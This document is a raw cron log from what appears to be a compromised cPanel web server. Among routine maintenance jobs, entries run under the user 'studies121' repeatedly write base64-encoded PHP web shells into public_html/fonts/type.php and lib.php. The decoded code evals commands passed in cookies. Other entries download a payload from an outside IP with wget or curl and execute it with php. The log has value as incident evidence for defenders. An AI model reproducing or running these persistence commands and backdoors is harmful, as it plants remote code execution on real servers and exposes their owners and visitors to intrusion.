Aug 30 13:06:01 ip-184-168-122-23 CROND[18627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:06:01 ip-184-168-122-23 CROND[18628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:07:01 ip-184-168-122-23 CROND[18710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:07:01 ip-184-168-122-23 CROND[18711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:07:01 ip-184-168-122-23 CROND[18712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:07:01 ip-184-168-122-23 CROND[18713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:08:01 ip-184-168-122-23 CROND[18817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:08:01 ip-184-168-122-23 CROND[18820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:08:01 ip-184-168-122-23 CROND[18819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:08:01 ip-184-168-122-23 CROND[18822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:08:01 ip-184-168-122-23 CROND[18821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:09:01 ip-184-168-122-23 CROND[18924]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 13:09:01 ip-184-168-122-23 CROND[18926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:09:01 ip-184-168-122-23 CROND[18929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:09:01 ip-184-168-122-23 CROND[18927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:09:01 ip-184-168-122-23 CROND[18928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:10:01 ip-184-168-122-23 CROND[19061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:10:01 ip-184-168-122-23 CROND[19063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:10:01 ip-184-168-122-23 CROND[19069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:11:01 ip-184-168-122-23 CROND[19253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:11:01 ip-184-168-122-23 CROND[19254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:11:01 ip-184-168-122-23 CROND[19255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:11:01 ip-184-168-122-23 CROND[19256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:12:01 ip-184-168-122-23 CROND[19355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:12:01 ip-184-168-122-23 CROND[19359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:12:01 ip-184-168-122-23 CROND[19357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:12:01 ip-184-168-122-23 CROND[19358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:12:01 ip-184-168-122-23 CROND[19360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:13:01 ip-184-168-122-23 CROND[19438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:13:01 ip-184-168-122-23 CROND[19441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:13:01 ip-184-168-122-23 CROND[19440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:13:01 ip-184-168-122-23 CROND[19442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:14:01 ip-184-168-122-23 CROND[19529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:14:01 ip-184-168-122-23 CROND[19531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:14:01 ip-184-168-122-23 CROND[19532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:14:01 ip-184-168-122-23 CROND[19533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:14:01 ip-184-168-122-23 CROND[19534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:15:01 ip-184-168-122-23 CROND[19620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:15:01 ip-184-168-122-23 CROND[19622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:15:01 ip-184-168-122-23 CROND[19623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:15:01 ip-184-168-122-23 CROND[19628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:15:01 ip-184-168-122-23 CROND[19627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:15:01 ip-184-168-122-23 CROND[19624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:16:01 ip-184-168-122-23 CROND[19715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:16:01 ip-184-168-122-23 CROND[19717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:16:01 ip-184-168-122-23 CROND[19720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:16:01 ip-184-168-122-23 CROND[19718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:16:01 ip-184-168-122-23 CROND[19719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:16:01 ip-184-168-122-23 CROND[19721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:17:01 ip-184-168-122-23 CROND[19890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:17:01 ip-184-168-122-23 CROND[19892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:17:01 ip-184-168-122-23 CROND[19894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:17:01 ip-184-168-122-23 CROND[19893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:18:01 ip-184-168-122-23 CROND[20015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:18:01 ip-184-168-122-23 CROND[20018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:18:01 ip-184-168-122-23 CROND[20016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:18:01 ip-184-168-122-23 CROND[20017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
